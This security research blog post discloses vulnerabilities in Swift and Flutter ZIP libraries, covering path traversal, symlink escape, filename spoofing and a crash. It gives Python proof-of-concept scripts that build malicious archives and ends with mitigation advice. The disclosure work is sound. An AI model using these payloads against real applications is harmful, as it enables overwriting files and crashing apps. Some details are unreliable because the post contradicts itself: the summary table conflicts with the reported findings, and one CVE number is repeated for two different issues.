Fri 04 August 2023
Introduction
ZIP packages are compressed archives that contain multiple files and directories, allowing developers to conveniently bundle resources, libraries, and other components required for app functionality. While ZIP packages offer efficiency and ease of use, they can also be the source of potential security vulnerabilities that malicious actors can exploit.
This article will delve into the security of zip-handling implementation, showcasing vulnerabilities in popular Zip libraries in the Swift and Dart (Flutter) ecosystems. We will explore the potential risks associated with malicious ZIP packages and the consequences they can have on mobile application security. Furthermore, we will discuss best practices and effective strategies to ensure the robust protection of ZIP packages throughout the development lifecycle.
Anatomy of ZIP file
ZIP files typically follow this layout:
+------------------------------------------------------+
| Local File Header |
| +----------------------------------------------+ |
| | Local File Header Signature (4 bytes) | |
| | Version Needed to Extract (2 bytes) | |
| | General Purpose Bit Flag (2 bytes) | |
| | Compression Method (2 bytes) | |
| | Last Mod Time (2 bytes) | |
| | Last Mod Date (2 bytes) | |
| | CRC-32 Checksum (4 bytes) | |
| | Compressed Size (4 bytes) | |
| | Uncompressed Size (4 bytes) | |
| | Filename Length (2 bytes) | |
| | Extra Field Length (2 bytes) | |
| +----------------------------------------------+ |
| | Filename (variable length) | |
| | | |
| +----------------------------------------------+ |
| | Extra Field (variable length) | |
| | | |
| +----------------------------------------------+ |
| Compressed Data |
| |
| +----------------------------------------------+ |
| | Data Descriptor (optional) | |
| | +------------------------------------------+ | |
| | | CRC-32 Checksum (4 bytes) | | |
| | | Compressed Size (4 bytes) | | |
| | | Uncompressed Size (4 bytes) | | |
| | +------------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+
| Central Directory |
| +----------------------------------------------+ |
| | Central Directory File Header | |
| | +--------------------------------------+ | |
| | | Central Directory Header Signature | | |
| | | Version Made by (2 bytes) | | |
| | | Version Needed to Extract (2 bytes) | | |
| | | General Purpose Bit Flag (2 bytes) | | |
| | | ... | | |
| | +--------------------------------------+ | |
| | | CRC-32 Checksum (4 bytes) | | |
| | | Compressed Size (4 bytes) | | |
| | | Uncompressed Size (4 bytes) | | |
| | | Filename Length (2 bytes) | | |
| | | ... | | |
| | +--------------------------------------+ | |
| | | Filename (variable length) | | |
| | | | | |
| | +--------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+
| End of Central Directory Record |
| +----------------------------------------------+ |
| | End of Central Directory Signature (4 bytes) | |
| | ... | |
| +----------------------------------------------+ |
+------------------------------------------------------+
Notable parts of the zip structure are:
-
Local File Header: The Local File Header is a section at the beginning of each file within a ZIP archive. It contains essential information about the compressed file, such as its name, size, compression method, and other attributes. This header allows the software to locate and extract individual files from the ZIP archive.
-
Data Descriptor: The Data Descriptor is an optional section within the ZIP file format. It provides additional information about a file's compressed data. The purpose of the Data Descriptor is to store the CRC-32 checksum of the uncompressed data, the compressed size, and the uncompressed size. Including this information allows for integrity checks and can be useful when extracting files.
-
Central Directory File Header: The Central Directory File Header is a section in a ZIP file that contains metadata about each file within the archive. It provides details such as the file name, compressed size, uncompressed size, compression method, and other attributes. The Central Directory File Header is located in the central directory structure, a catalog of all the files in the ZIP archive.
-
End of Central Directory Record (EOCD): The End of Central Directory (EOCD) Record is a section at the end of a ZIP file that marks the end of the central directory structure. It contains essential information, including the number of entries in the central directory, the size of the central directory, and the offset to the start of the central directory. The EOCD record allows the software to locate and access the central directory, which provides information about the files in the ZIP archive.
Common ZIP vulnerabilities:
-
ZIP path traversal: Zip path traversal, also known as Zip Slip, is a security vulnerability that occurs when the application fails to validate zip entries' file names during extraction. It allows an attacker to extract files to arbitrary locations outside the extraction directory, which helps overwrite sensitive user data and, in some cases, can lead to code execution if an attacker overwrites an application's shared object file.
-
ZIP filename spoofing: In the context of ZIP archives, there are two main data structures relevant to file names: the
Central Directory Entry
and theLocal File Header
, if a parser for example, reads the filename fromLocal File Header
but then proceeds to extract the file with the path in theCentral Directory Entry
. -
ZIP symlink path traversal: ZIP symlink is a feature used in many zip utilities that allows those symlinks to point to files outside the extraction directory. This can pose a security risk, leading to overwriting sensitive data or shared object files, which might lead to code execution.
-
ZIP Bomb: A zip bomb is a small-sized zip file that contains an enormous amount of compressed data. When extracted, it expands into a huge file or consumes excessive system resources, potentially causing denial-of-service (DoS).
ZIP packages to analyze
Archive
One of the popular flutter packages for handling compressed files is archive
by Brendan Duncan, this package implements popular archive formats natively in Dart without having to go through the native platform-specific packages like java.util.zip
for android or ZIPFoundation
for iOS.
Language: Dart (Flutter)
Link: https://pub.dev/packages/archive
Flutter_archive
flutter_archive
is another Flutter package for compressed files that work exclusively with zip files, this package relies on Java's native zip package java.util.zip
by leveraging Flutter's MethodChannel
.
Language: Dart (Flutter)
Link: https://pub.dev/packages/flutter_archive
ZIPFoundation
ZIPFoundation
is a library to create, read and modify ZIP archive files. It is written in Swift and based on Apple's libcompression for high performance and energy efficiency.
Language: Swift
Link: https://github.com/weichsel/ZIPFoundation
ZIP
Zip
is a Swift framework for zipping and unzipping files. Simple and quick to use. Built on top of minizip.
Language: Swift
Link: https://github.com/marmelroy/Zip
ZIPArchive (SSZIPArchive)
ZipArchive is a simple utility class for zipping and unzipping files on iOS, macOS and tvOS.
Language: Swift
Link: https://github.com/ZipArchive/ZipArchive
Detected vulnerabilities
Package: Archive
ZIP filename spoofing (CVE-2023-39137)
archive
package only parses the filename from the Local File Header
, this leads to inconsistency with most zip parsers who typically favor Central Directory Entry
, this inconsistency can be abused by attackers who can craft a malicious zip file with different file names in Local File Header
and Central Directory Entry
, consequently having a file with different filenames before and after extraction.
String filename = '';
List<int> extraField = [];
String fileComment = '';
ZipFile? file;
ZipFileHeader(
[InputStreamBase? input, InputStreamBase? bytes, String? password]) {
if (input != null) {
versionMadeBy = input.readUint16();
versionNeededToExtract = input.readUint16();
generalPurposeBitFlag = input.readUint16();
compressionMethod = input.readUint16();
lastModifiedFileTime = input.readUint16();
lastModifiedFileDate = input.readUint16();
crc32 = input.readUint32();
compressedSize = input.readUint32();
uncompressedSize = input.readUint32();
final fnameLen = input.readUint16();
final extraLen = input.readUint16();
final commentLen = input.readUint16();
diskNumberStart = input.readUint16();
internalFileAttributes = input.readUint16();
externalFileAttributes = input.readUint32();
localHeaderOffset = input.readUint32();
if (fnameLen > 0) {
filename = input.readString(size: fnameLen);
}
To test this, we crafted a zip file with different filename field values evil.apk and evil.txt respectively for Local File Header
and Central Directory Entry
Proof of concept code:
import zipfile
def generate_spoofed_zip(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
with open('payload.zip', 'rb') as zipf:
zip_data = zipf.read()
spoofed_data = zip_data.replace(bytes(filename, 'utf-8'), bytes(spoofed_filename, 'utf-8'), 1)
with open('payload.zip', 'wb') as zipf:
zipf.write(spoofed_data)
original_filename = 'evil.txt'
spoofed_filename = 'evil.apk'
if len(original_filename) != len(spoofed_filename):
raise ValueError("Filenames lengths must be equal")
generate_spoofed_zip(original_filename)
when we ran zipinfo
utility over our zip file, the filename inside was parsed as evil.txt
However, after extracting the file using extractFileToDisk
function from archive
package, the filename was parsed as evil.apk
ZIP symlink path traversal (CVE-2023-39139)
Another interesting finding we found while inspecting the package was not only it links symlinks back after extraction, it also links ones pointing to any path, even outside the extraction directory.
for (final file in archive.files) {
final filePath = p.join(outputPath, p.normalize(file.name));
if (!isWithinOutputPath(outputPath, filePath)) {
continue;
}
if (!file.isFile && !file.isSymbolicLink) {
Directory(filePath).createSync(recursive: true);
continue;
}
if (asyncWrite) {
if (file.isSymbolicLink) {
final link = Link(filePath);
await link.create(p.normalize(file.nameOfLinkedFile), recursive: true);
} else {
final output = File(filePath);
final f = await output.create(recursive: true);
final fp = await f.open(mode: FileMode.write);
final bytes = file.content as List<int>;
await fp.writeFrom(bytes);
file.clear();
futures.add(fp.close());
}
To test that we created a symlink evil pointing to a file (secret.txt) in the parent directory, we zipped that symlink using the command zip --symlinks poc.zip evil
and extracted poc.zip
on an Android test device using extractFileToDisk
function.
Proof of concept code:
import zipfile
def compress_file(filename):
zipInfo = zipfile.ZipInfo(".")
zipInfo.create_system = 3
zipInfo.external_attr = 2716663808
zipInfo.filename = filename
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(zipInfo, "/etc/hosts")
filename = 'evil'
compress_file(filename)
Upon extracting the zip file, the symlink was linked back and pointing to ../secret.txt
, outside the extraction directory.
Package: ZIPFoundation
ZIP symlink path traversal (CVE-2023-39138)
Upon extraction, the package passes the path coming from the zip entry directly to fileManager.createSymbolicLink
without checking that it is located within extraction directory, we replicated the same test above and found this package too allows symlinks pointing outside the extraction directory.
case .symlink:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
let consumer = { (data: Data) in
guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
try fileManager.createParentDirectoryStructure(for: url)
try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
}
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
}
ZIP path traversal (CVE-2023-39138)
the package uses the function isContained
to check that the zip entry path is located within the extraction directory:
func isContained(in parentDirectoryURL: URL) -> Bool {
// Ensure this URL is contained in the passed in URL
let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized
return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString)
}
...
guard entryURL.isContained(in: destinationURL) else {
throw CocoaError(.fileReadInvalidFileName,
userInfo: [NSFilePathErrorKey: entryURL.path])
}
...
crc32 = try archive.extract(entry, to: entryURL, skipCRC32: skipCRC32, progress: entryProgress)
Below is a code snippet of the extract
function:
public func extract(_ entry: Entry, to url: URL, bufferSize: Int = defaultReadChunkSize, skipCRC32: Bool = false,
progress: Progress? = nil) throws -> CRC32 {
guard bufferSize > 0 else {
throw ArchiveError.invalidBufferSize
}
let fileManager = FileManager()
var checksum = CRC32(0)
switch entry.type {
case .file:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
try fileManager.createParentDirectoryStructure(for: url)
let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path)
guard let destinationFile: FILEPointer = fopen(destinationRepresentation, "wb+") else {
throw POSIXError(errno, path: url.path)
}
defer { fclose(destinationFile) }
let consumer = { _ = try Data.write(chunk: $0, to: destinationFile) }
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
When provided with the following path /base_path/extraction_directory//../
the path gets normalized to /base_path/extraction_directory/entry_file_name
which passes the check above.
When that same path is passed to fopen
, it gets normalized to /base_path/entry_file_name
, allowing us to write files outside the extraction directory.
Proof of concept code:
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '/../secret.txt'
compress_file(filename)
Package: Zip
ZIP path traversal (CVE-2023-39135)
Below is a code snippet from the unzipFile
function used to extract zip files, you can notice that pathString
coming from our zip entry is appended to the destination
directory without any sanitization
let fileNameSize = Int(fileInfo.size_filename) + 1
//let fileName = UnsafeMutablePointer<CChar>(allocatingCapacity: fileNameSize)
let fileName = UnsafeMutablePointer<CChar>.allocate(capacity: fileNameSize)
unzGetCurrentFileInfo64(zip, &fileInfo, fileName, UInt(fileNameSize), nil, 0, nil, 0)
fileName[Int(fileInfo.size_filename)] = 0
var pathString = String(cString: fileName)
guard pathString.count > 0 else {
throw ZipError.unzipFail
}
var isDirectory = false
let fileInfoSizeFileName = Int(fileInfo.size_filename-1)
if (fileName[fileInfoSizeFileName] == "/".cString(using: String.Encoding.utf8)?.first || fileName[fileInfoSizeFileName] == "\\".cString(using: String.Encoding.utf8)?.first) {
isDirectory = true;
}
free(fileName)
if pathString.rangeOfCharacter(from: CharacterSet(charactersIn: "/\\")) != nil {
pathString = pathString.replacingOccurrences(of: "\\", with: "/")
}
let fullPath = destination.appendingPathComponent(pathString).path
Proof of concept code:
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '../secret.txt'
compress_file(filename)
Package: ZIPArchive (SSZIPArchive)
Denial of Service (CVE-2023-39136)
Below is a code snippet from the _sanitizedPath
function used to sanitize zip entries filenames, the code prepends file:///
prefix to the zip entry path, standardizes it using NSURL
then removes the prepended prefix, however when presented with /..
as a path, the output of NSURL
becomes file://
, which has 7 characters while the code expects at least 8 characters, this unhandled edge case leads to crashing the application.
if (strPath == nil) {
return nil;
}
// Add scheme "file:///" to support sanitation on names with a colon like "file:a/../../../usr/bin"
strPath = [@"file:///" stringByAppendingString:strPath];
// Sanitize path traversal characters to prevent directory backtracking. Ignoring these characters mimicks the default behavior of the Unarchiving tool on macOS.
// "../../../../../../../../../../../tmp/test.txt" -> "tmp/test.txt"
// "a/b/../c.txt" -> "a/c.txt"
strPath = [NSURL URLWithString:strPath].standardizedURL.absoluteString;
// Remove the "file:///" scheme
strPath = [strPath substringFromIndex:8];
Proof of concept code:
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '/..'
compress_file(filename)
Summary table
Package | Language | ZIP Filename Spoofing | ZIP Symlink | ZIP Path Traversal | Denial of Service |
---|---|---|---|---|---|
Archive | Dart (Flutter) | Vulnerable | Not Vulnerable | Not Vulnerable | Not Vulnerable |
Flutter_archive | Dart (Flutter) | Not Vulnerable | Not Vulnerable | Not Vulnerable | Not Vulnerable |
ZIPFoundation | Swift | Not Vulnerable | Vulnerable | Vulnerable | Not Vulnerable |
ZIP | Swift | Not Vulnerable | Not Vulnerable | Vulnerable | Not Vulnerable |
ZIPArchive | Swift | Not Vulnerable | Not Vulnerable | Not Vulnerable | Vulnerable |
Conclusion
In conclusion, ZIP vulnerabilities pose significant security risks that developers should be aware of when handling archive files. The ZIP file format, although widely used and supported, is not immune to exploitation. Understanding and addressing these vulnerabilities is essential to safeguarding sensitive data and preventing potential attacks.
This article has highlighted several common ZIP vulnerabilities, including ZIP path traversal, ZIP filename spoofing, ZIP symlink vulnerability, and ZIP bomb attacks. Each of these vulnerabilities exposes different risks, such as unauthorized access to files, overwriting sensitive data, denial-of-service (DoS) and even code execution in some scenarios.
It is important for developers to implement robust security measures when working with ZIP files. This includes validating zip entry file names during extraction to prevent path traversal attacks, ensuring consistency between the filenames in the Local File Header and Central Directory Entry to mitigate filename spoofing, restricting access permissions for extracted files, and implementing proper decompression techniques to prevent DoS situations caused by ZIP bombs.
Additionally, it is crucial to stay informed about security updates and patches related to ZIP libraries or packages used in development frameworks. Regularly reviewing and updating these dependencies can help mitigate known vulnerabilities and protect against emerging threats.
It is worth mentioning that the issues discussed in this article were reported to the concerned authors.
We do newsletters, too
Get the latest news, updates, and product innovations from Ostorlab right in your inbox.